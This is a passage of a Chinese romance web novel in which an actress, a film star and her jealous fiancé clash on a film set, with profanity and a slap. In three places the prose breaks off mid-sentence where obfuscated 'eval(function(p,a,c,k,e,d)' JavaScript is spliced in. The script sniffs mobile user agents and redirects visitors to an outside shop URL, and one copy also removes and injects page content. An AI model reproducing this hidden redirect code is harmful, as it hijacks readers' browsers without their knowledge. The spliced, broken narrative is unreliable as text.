“导演说的不错,我确实是在还你的人情,之前的事是我对不起你,这次就当给我一个赎罪的机会。”即便擦去眼泪,她的眼睛还是湿漉漉的,“陈屹,你就当没见过我,安心拍戏,我不会再来打扰你。” 他只和她对视一眼,便感觉心头轻微地颤了颤,连忙收回视线转头看向车流。 过了半晌,他才说了句知道了。 15. 口嫌体正直 等秦书窈擦完脸上的妆,温岚也气喘吁吁追了出来,她看到门口站的一男一女,还以为自己眼花认错人,看了半天才确认就是他俩,彼时陈屹的司机也把车开来了,他没和秦书窈多说什么就上车离去。 等陈屹走后,温岚才假装什么都没看见地走了过去。 “窈窈,你站在这儿等谁呢?” 秦书窈还没从和陈屹的对话中缓过来,身边冷不丁冒出人声,吓得她一哆嗦:“你什么时候来的?” “刚到。” “刚刚是多久?” “也就是刚好看见你和陈屹站着闲聊吧。” 秦书窈听完暗暗后悔,不料却听到温岚的安慰:“别怕,我站你俩后面很久了,替你观察了周围的情况,放心好了,没人偷拍的。” 有没有人偷拍不重要,她和陈屹只是站着聊天,又没做出什么超越朋友关系的亲密举动,她心烦只是觉得刚才自己情绪失控这件事太过丢人。 只不过,过去的事就让它过去吧。 她虽然还没来得及亲口问他,他拉黑她到底出于怎样的原因,但从他对她的态度也能猜到,他心里肯定烦透她了。 面对一段无法挽回且不能继续的感情,放手才是最好的选择。 她和陈屹这篇也该翻过去了…… 她把卸妆巾揉成一团塞进路旁的垃圾桶,扭头和温岚说:“我好了,咱们回去吧,再陪他们坐一会儿,一场聚会不能光有主人没有客人。”她扯着嘴角对着温岚笑了笑,笑得很很勉强,比哭还难看。 “好。”温岚挽着她的手,陪她往回走,“所以你还打算继续投吗?” “钱还是要投的,李导他们也不容易,如果我不出这笔钱就得苦了别人,这笔钱对我来说不算什么,但对他们来说可能关系到温饱。” 秦书窈说得不错,但能说出这番话的秦书窈,和刚刚在屋里拍桌子的女人简直判若两人,一时间让温岚有些恍惚,不知道哪个是她演出来的,哪个是她的本色。 温岚轻声问:“你要继续,那陈屹……” “你放心,他不会和我对着干了。” 温岚一头雾水,不知道自己错过了哪段剧情,怎么两个刚还剑拔弩张的两个人,突然之间就握手言和:“你们俩在路边站了那么一小会,就把所有事都谈妥了?” 秦书窈尴尬地点点头。 “我真不知道该怎么说你俩!”温岚忍不住吐槽,“以后再闹矛盾能私下解决吗?别把我们一大帮人都带上!你都不知道李导和制片刚刚和给我发了多少条道歉消息,你们俩这一闹可真把人家吓坏了。” 秦书窈有点害羞地笑了笑:“对不起,我和你正式道歉,等会再让小夏拿两瓶好酒来,也给那几位压惊。” 温岚没好气道:“两瓶不够,我也要喝,我也得压压惊。” “好……”秦书窈几乎贴到温岚脸边,把尾音拉得九曲十八弯,直到逗笑才温岚才作罢。 * 给陈屹开车的司机项华,是剧组在当地为他找的,实际年龄比陈屹还小几岁,看起来却像三十好几,黝黑的皮肤满是饱经风霜留下的痕迹,只是眼睛格外大而明亮,炯炯有神。 陈屹进组一共也没几天,一直忙于工作,一上车不是在打电话就是在看剧本,像今晚这样消停的机会还真不多。 项华看陈屹难得不忙公务,正望着窗外发呆,便想和他套套近乎:“屹哥,今天难得收工早,晚上没有其他安排吗?” 陈屹口气平淡地说:“刚刚的不就算是其他安排吗?只不过散得有点早而已。” 进去没待二十分钟就要走,肯定是发生了什么不愉快,项华压根不敢触这个霉头,连忙转移话题:“我知道有一家烧烤特别好吃,你要是嫌进店吃太麻烦,你就在车上等我一会儿,我下去帮你买来,咱带回酒店吃。” “不用了,我没胃口。” 项华知道自己又没说对话,抿了抿发干的嘴唇,尴尬地憨笑:“没胃口咱就回去早点休息,养足精神明天好开工。屹哥,其实我特能理解你们,我女朋友也是咱们组里的演员,只不过是个跑龙套的小配角,但人和人的麻烦事总是有共同之处的嘛。” 陈屹并不是故意不搭项华的话茬,而是他被秦书窈大吵一架之后,确实被气得什么都吃不下,他会给秦书窈递湿巾,只是因为他不忍心看她一个人站在路边哭,不代表他已经原谅了她。 但搞坏他心情的人是秦书窈,和项华一点关系也没有,于情于理都不应该让一个无辜的人担惊受怕。 陈屹在叹口气调整心情之后,柔声道:“你推荐的馆子,等下次有空我们再一起去,今天我的确累了,只想早点回去。你女朋友叫什么名字,明天在我开工之前,可以让她来找我,如果还有合适的角色有空缺,我可以帮她争取一下。” “屹哥,我都不知道该怎么谢谢你了,你就是我亲哥,你有什么用得上我的地方,尽管使唤我!”项华听了一个劲道谢,笑得嘴都合不拢,“我女朋友演技和样貌哪哪都好,就是没人脉才只能演小角色,我在横城开车也有好几年了,也算看过不少明星,我看我女朋友和那些女明星比,长得一点都不比她们差,就是没人捧才火不了。” 陈屹看着项华提起自己女朋友就一脸骄傲的样子,忍俊不禁道:“你对女人这么有研究,那你看刚才和我站在一起的女人,她和你女朋友比,谁更漂亮?” 项华突然不敢吱声了,他透过后视镜,悄悄打量陈屹的脸色。 陈屹看穿了他的小动作,笑道:“她就是我一普通朋友,我就是随口一问。” 项华尴尬地咳嗽一声:“她确实也挺漂亮的,但……” “但不如你女朋友吗?”陈屹也笑了。 “不是,漂亮还是她漂亮,只是看起来性格就很强势,怕是个母老虎……不知道你有没有看到,你上车的时候,她看你那眼神凶极了,像要把你生吃了一样。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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项华说了很多,可陈屹只记住了一句:“你妈妈在上海?” “是,我爸也在。” “如果方便,你可以把你父母的联系方式也发给我助理,我觉得你这个人很善解人意,你父母肯定也是很好的人,什么时候到上海,我可能会想尝尝你妈妈的手艺。” 项华知道这可能是陈屹当着他的面说的客套话,但这种能和大明星搭上话的机会并不多,更何况对方还是像陈屹这么有口皆碑的艺人,他说要帮他,没准真会帮他女朋友争取个角色,再给他父母介绍一份薪水客观的工作,所以项华没等回家,就急着先把所有资料都发给了陈屹助理。 可怜的小助理拿着三份不认识的简历,只能去问老板这是什么情况。 陈屹耐心安慰了助理几句,说让她先收好,以后有合适的工作帮这几个人留意一下,如果没合适的,也就不用管了。 助理嘴上答应下来,心里却满是抱怨,她觉得老板管得有点太宽了,什么人的忙都帮,帮帮那个叫梅雅晴的小龙套也就算了,姓刘和姓项的两个老家伙,管他们干嘛呢? 16. 周绍明他又来了 等饭局散时,秦书窈已经喝得晃晃悠悠,真有几分醉了。 今天晚上她必须喝醉,不管是真醉还是装醉,这都是她给导演和制片人表的态度,赔礼道歉该有的态度。 导演客套着说要开车送送她们,温岚的车却已经开到门口,几人便在门口告了别,各回各家。 温岚以为秦书窈是在装醉,等上了车,发现这人还歪着靠在车门上打盹,她才意识到她今天是真喝醉了。 温岚却也没惯着她,刚接到线人发来的消息就把她晃醒:“别装了,我有事和你说。” “我没装,今天是真喝多了,你别摇了,再摇我就要吐出来了。”秦书窈就连说话声音也带着一股懒劲,虽然醒了过来,却连睁眼的力气也没有,“有话快说有屁快放,我等着听呢。” 温岚本着不和醉鬼计较的原则,才勉强咽下这口气,冷着脸说:“他们通过查入职简历,找到了火灾第二天就离职的保洁的详细资料,你想不想看一下。” 秦书窈总算打起精神,挣扎着把眼睛睁开一道缝,就从温岚手里抢过她的手机。 屏幕的亮光刺得她眼晕,只能眯起眼慢慢看。 “姓名,刘楚女。年龄,47岁。籍贯,金州……紧急联系人,项华,联系方式……” 秦书窈认认真真看了半天,结果大失所望:“这也啥都没有啊。” 温岚慢慢悠悠把手机收回来:“她填的紧急联系人是她儿子,她儿子就在横城,如果我们能联系到他,没准这一趟就能见到她儿子。” 秦书窈困得睁不开眼,天大的事都没办法阻挠她睡觉,况且这件事还没比天塌下来还大。 她拍拍温岚肩膀,口齿不清地说着:“靠你了,温总,我……真……扛不住了。”话音刚落,她便把头歪向一旁,靠在车窗边昏睡过去。 温岚看着她的睡颜,无奈地笑了笑。 其实她今晚没必要把自己喝成这样,就算她有失礼的地方,但是单凭她能在离开之后再回去陪他们小酌几杯,就已经算是给足他们面子,说到底,今天这场饭局的主人是她这个金主,不是导演组的那几位。 可秦书窈就是太要面子了,待人接物都要做到滴水不漏,对每个人都好到没法挑理,宁可自己吃亏,也不愿意亏待别人。 像秦书窈这样,一出生就已经注定会享一世繁华的女人,竟然还这么懂得体谅别人,温岚简直想不通,到底是怎样的男人才能拒绝得了秦书窈的追求——区区一个陈屹,他凭什么明知道秦书窈喜欢他,居然还敢当众让她难堪? 难道这就叫恃宠而骄吗? * 翌日,温岚的助理给那位名叫项华的“紧急联系人”打了四五通电话,对方都没接听,到最后,竟然还把她当成骚扰电话拉黑了。 温岚把这一情况转告秦书窈,秦书窈非但没生气,还安慰了她几句,说这件事毕竟事关她而不是温岚,现在她已经知晓了来龙去脉,后续处理就都交给她,不用温岚继续操心了。 经过昨晚的事情,秦书窈自己也彻底想明白,人家陈屹确实不愿和她再有瓜葛,这部戏的投资就当她对他火中救人和那一夜辛劳的报答,从此之后,他们恩怨分明,各自安好。 秦书窈还在换衣服,小夏就急急忙忙敲她房门,说导演找她有急事,似乎是周绍明突然到片场去了。 秦书窈连妆都没顾上化,随便套了件衣服就跟着小夏出了门。 片场那边,却不像秦书窈所担心的那样乱成一团。 因为刚好轮到要拍男主角的戏份,陈屹和导演便都忙活起来,进棚拍戏。周绍明就在不远处的休息区静静观看,身旁还有位年轻美丽的女孩,热情地为他讲解现在所拍的剧情,两个人聊得似乎很投缘,不时就会传来笑声。 周绍明身旁的女孩是司机项华的女朋友,梅雅晴。 梅雅晴作为前景群演的戏份,在昨天下午之前就演完了,今天本来也无事可做,又听说陈大影帝会帮自己争取角色,更是激动得一晚上没睡好,起了个大早就赶来见陈屹。 她这趟一点没白跑,赶到现场在陈屹和导演面前试了一段哭戏,当即被导演定为下周某场角色的特约演员,虽然戏份也不多,但毕竟有好几句台词,还能和男女主同框,比群演强得不是一星半点。 就当她还沉浸在莫大欢喜中,导演却在接到一通电话之后脸色突变,导演和陈屹耳语了几句,陈先生的脸色也变得很不好看。 没过多久,她就见到使导演和陈屹心情不快的始作俑者,周绍明。 周绍明看起来气度不凡,他全身上下穿戴的东西里,她只认识他手上的手表,那是块劳力士。 她猜他这种人,不是来探班的,就是来了解拍摄进度的,总之都是举足轻重的大事,她看片场里的每个人都有职责在身,只有她一个闲人,就主动包揽了招待客人的责任,带着周老板到处逛逛,再给他讲解这部戏的具体情况。 等秦书窈听到周绍明也来了横城的消息,着急忙慌赶到片场的时候,一切尘埃都已落定,片场的景象只剩下一片岁月静好。 秦书窈气喘吁吁跑来现场,一眼就看见坐在藤椅上的周绍明,周绍明很快也看见了她,还笑着和她招招手,让她过来品一下梅小姐煮的茶,他和她打赌,说她肯定没尝过这么有韵的味道。 秦书窈愣了好久才回过神来,捧着茶杯看了眼梅雅晴:“她是谁,你又换助理了?” “没有换,这是我今天刚认识的新朋友,梅雅晴,梅老师。”周绍明其实压根不知道梅雅晴是谁,只听说她介绍自己是个演员,就称呼她为梅老师。 他刚介绍完她就扭回头问:“梅老师你演的是哪个角色来着?” 周绍明的问题让梅雅晴尴尬不已,她就是个群演,哪里担得起老师这个称呼,但也不好反驳周老板,只能硬着头皮说:“我还没确定演哪个角色,刚刚才来找导演试戏。” 周绍明沉思片刻,抬头看向秦书窈:“书窈,你去和导演说一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816542|190913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,给梅小姐争取一个女三女四之类的角色吧,我看他们这戏开拍也没多久,很多配角的戏都没开拍,来得及换。” 如果不是心虚作祟,秦书窈真想当面骂他一句傻逼,就算她是资方,也没有在开拍之后说换人就换人的道理,毕竟她又不是他这种畜生,她行事素来很讲规矩。 但谁让她做过对不起他的事,一见到他,心都是虚的。 “这恐怕不好吧。”她苦涩一笑。 一旁的梅雅晴听到这番话,吓得连忙拒绝:“周老板,我谢谢您的一番好意,但真的不需要这样,我的演技和实力和演主要角色的水平还差得很远。” 周绍明听完,笑着安慰她不要怕,还劝她要有自信,其实那些大腕也没什么了不起的。 在周梅两人说话的时候,秦书窈一直坐在旁边默默听着,她虽然不知道这个梅雅晴是打哪儿冒出来的,但她隐约觉得老周对她很感兴趣。 这是件好事,只要他不把注意力全部放在她身上,就都是好事。 她只想和他谈生意,通过婚姻稳固两家公司的长期合作往来,顺便应付自己的老爸老妈,从来没想过要和他谈什么真感情。 秦书窈依着周绍明推荐,也喝了一杯梅小姐煮的茶,她虽然没品出什么滋味,但也夸赞了好几句,逗得梅小姐脸红起来,连看都不敢看她。 就在几个人其乐融融聊着茶叶茶道的时候,结束拍摄的陈屹突然出现在门口,手里还捏着一张灰色卡片,只是被宽大袖口遮掩着,不易被人觉察。 秦书窈有很长一段时间没看陈屹扮过古装,猛然见他束发戴冠的样子,神志都恍惚了一下,好像时间一下子回到五年前,她第一次见他的时候,只是他眉宇之间多了几分五年前不曾有的沉稳。 陈屹并不是简简单单来打招呼的。 他先看向梅小姐,和她使了使眼色示意离开,等梅雅晴走后,他才向周绍明走去:“周先生,有样东西我一直想还给你。” 纵使周绍明今天就是来找茬的,但他还没说什么,陈屹反倒主动出击,这事态发展却也有些出乎他意料。 周绍明饶有兴趣地哦了一声,不客气地翘起二郎腿,双手叠放在腹前后仰靠在藤椅上,等着陈屹把东西送过来。 陈屹看出周绍明是在故意拿乔,但也没说什么,还是把名片放到他手旁的茶几上,周绍明扫了一眼,发现是自己的名片,不明所以抬起头问陈屹:“你是什么意思?” 陈屹的脸上看不出任何表情,口气也是淡淡的:“没什么,只是觉得周老板报恩的手段太狠,我消受不起,今天把这份人情还回去,我们就算两清了。” 周绍明冷笑道:“陈老师,你这是话里有话啊,既然都来这里了,不妨说开一点,别那么阴阳怪气的,秦老板又不是外人,没什么话是她不能听的。” 提起秦书窈,陈屹下意识看她一眼,但目光也只是一扫而过,并未停留太久。 “装傻的人好像不是我,是周老板你。” 17. 我才是你老公 秦书窈眼看气氛剑拔弩张起来,连忙在两人中间调和,试图挽回一点局面。 陈屹和周绍明的矛盾,看似是上次临时换人的事,实际上完全就是秦书窈这个人,她一开口,本来还能维持基本的体面的两个人,脸色都变得很难看。 周绍明先演不下去,和陈屹直接摊牌:“我和小秦都不是闲得没事干的人,今天咱们能团聚在这里其实另有原因,大家都是聪明人,我想有些话不用说你也应该都清楚。” 周绍明的话虽然不是直接冲着秦书窈说,可她听完就浑身发软,心也凉了半截。 陈屹看着还算镇定:“周老板,你有什么想说的直说就好,用不着先捧再杀,我这人没你说的那么聪明,经常听不懂好赖话,我怕你不把话说明白,我会再和上次一样错解你的意思,误以为我救了你的未婚妻,你真想好好报答我。” 周绍明被刺了两句,脸色都绿了,气得放下翘着的二郎腿,径直走到他面前:“陈屹,你以为你是谁,老子肯好声好气跟说话,你也配嫌弃?好,你想听点实话是吧,那我就说点实话给你听——她秦书窈能大老远跑来这里专程看你,给你的戏投资,你不会以为她是因为那天你救了她,她就对你一见钟情了吧?” “我没有。”陈屹不愿和周绍明对视,缓缓垂下眼睛。 看着陈屹避而不战的样子,周绍明愈发火大。 他认识秦书窈半年多,从没见她为了见谁专程去过任何地方,没想到她居然为了这个刚认识没多久的臭小子,不惜从上海跑来横城。 他想不明白自己一个坐拥百亿资产的上市公司总裁,京圈红三代周家独子,外貌也算出类拔萃,怎么还能输给一个小白脸? “没有个屁!”周绍明压不住火气,直接爆了粗口,“你他妈少在老子面前装蒜,都是男人,你是怎么想的,我能不知道吗?有我媳妇这么漂亮的女人撵着追你,你他妈背地里笑得嘴都裂到后脑勺去了吧!” 陈屹猛然抬头,一双深邃眼眸里先是闪过愤怒,再然后才是冷到极点的不屑:“周老板,你来就是为了说这些没用的废话吗?你未婚妻是好,但也不是每个男人都喜欢她,我现在就可以和你发誓保证,我从来没对她产生过任何想法,也不想被任何人误会我们之间有什么不清白的关系,所以秦小姐昨天来签合同,我是极力反对的,不信的话你还可以问问导演和制片。” 周绍明看上的个顶个都是女人中的女人,就算称不上万人迷,也绝对是个大美女,他陈屹算什么东西,也敢嫌弃他看中的女人,还说什么“不是每个男人都喜欢她”。 “陈屹,我他妈真给你脸了,你居然敢跟老子这么说话!” 秦书窈见势不对,立马冲上前拉拽周绍明,不料她越是拉拽,周绍明的火气越是无处发泄,抡起拳头就要砸向陈屹那张看着就让人恼火的脸。 秦书窈冲进两人中间,下意识替陈屹挡住周绍明,刹那之间,周绍明落下的拳头离她只剩分毫,才猛地停了下来。 周绍明紧攥拳头气愤地砸向一旁的桌子,发出一声巨响,突出的骨节也瞬间泛红。 他实在忍不了了,抓着秦书窈的肩膀怒吼:“你告诉我,你到底是为了那个姓裴的,还是真爱上他了?” “你能不能冷静一点,喊得这么大声做什么,是嫌还不够丢人吗?”秦书窈不留情面地拨开周绍明的手,生气地瞪着他。 “你问都不问我一声就跑到这里来,你尊重过我的意见吗?如果你怀疑我的投资动机,你明明可以先打电话问我,为什么先跑来这里闹事?你有没有想过,因为你今天追来这里,就算我和陈屹没什么,也会被所有人怀疑有什么的,你的未婚妻被所有人怀疑包养小白脸,这就是你想看到的局面吗?” “周绍明,你他妈怎么不说话了,哑巴了?” 周绍明说不出话来,他已经不知道自己是被气到无语,还是因为自己的行为失态而感到羞愧。 秦书窈深吸口气稳了稳呼吸,继续说:“既然你想知道我为什么来,那我就告诉你——周绍明,我是来替你赎罪的!只要你把人家逼得演不了上一部戏,我就要帮他再续一部资源,否则我心里永远过不去这个坎,我会一直觉得我欠他一个人情,我就会一直惦记着他,你应该也不想让我一直惦记着另一个男人吧?” 周绍明愣在原地,空张了张嘴,犹豫很久才只说了句对不起。 秦书窈却不接受他的道歉:“和我道歉有什么用,你刚刚骂的人是陈屹,又不是我。” 周绍明又气又惊:“你是要我和他道歉?” 秦书窈冷冷瞥他一眼:“那不然呢?你对着人家又称老子又骂娘,你不应该道歉吗?” 周绍明咬着牙看向陈屹,不需要陈屹说什么,只要他看见他这张脸,他就气不打一出来,但先前确实是他滥用私权让人家丢了工作,刚刚也是他先激动到要动手,于情于理都是他不对。 周绍明从牙缝里挤出几个字:“对不起。” 陈屹仍摆着那副冷淡态度:“周老板,你其实没做错什么,也不需要和我道歉。” 周绍明的怒火被陈屹一句不冷不淡的话又勾起来,陈屹越冷静,就越衬得他像个狗急跳墙的疯子。 他知道自己光靠吵架是吵不赢的,没说话,抬手就是一耳光。 这一次,秦书窈还没来得及阻拦,周绍明的巴掌就结结实实落在陈屹左脸上。 他脸上还带着妆,红晕透过粉底看得并不真切,但也能看到其中透出的巴掌印,周绍明的力道大,打得嘴里的肉磕到牙上,丝丝殷红沿着陈屹的嘴角渗出。 他用左手手背蹭去了嘴角的血痕,右手却还死死攥着秦书窈的手腕,下意识,把她往身后带了带。 秦书窈之所以没冲到两人之间,就是因为被陈屹提前预判拽住了手腕。 是他拽住了她,才让她没来得及拦住周绍明。 周绍明没想到陈屹肯结结实实挨他这一耳光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不想当着陈屹的面和周绍明谈情说爱,三两下拨开周绍明的手,把头别向一旁。 硬也不吃软也不迟,看着秦书窈今天摆明要和他置气,周绍明的耐心也到了极限:“我该说的不该说的都说了,你他妈要是个猪脑子死活不开窍,那我也没办法了。” 他扭头扫了一眼站在一旁的陈屹,觉得自己有必要把一些真相讲给这家伙听:“陈屹,我说你长得好,并不是夸你帅,而是因为你长得很像她死了的初恋,其实我也知道你们俩没什么,给你十个胆,你也不敢睡老子的女人,但我一看见你心里就膈应,其实就是因为这个。” 听到初恋两个字,秦书窈的心里咯噔一下,停了半拍跳动,连周绍明骂自己是猪的事也顾不上,满脑子只想着该怎么和陈屹解释。 要是他知道,她从一开始就是因为他长得像自己初恋,才会热烈追求他,他不是更会把她当成人渣来看了吗?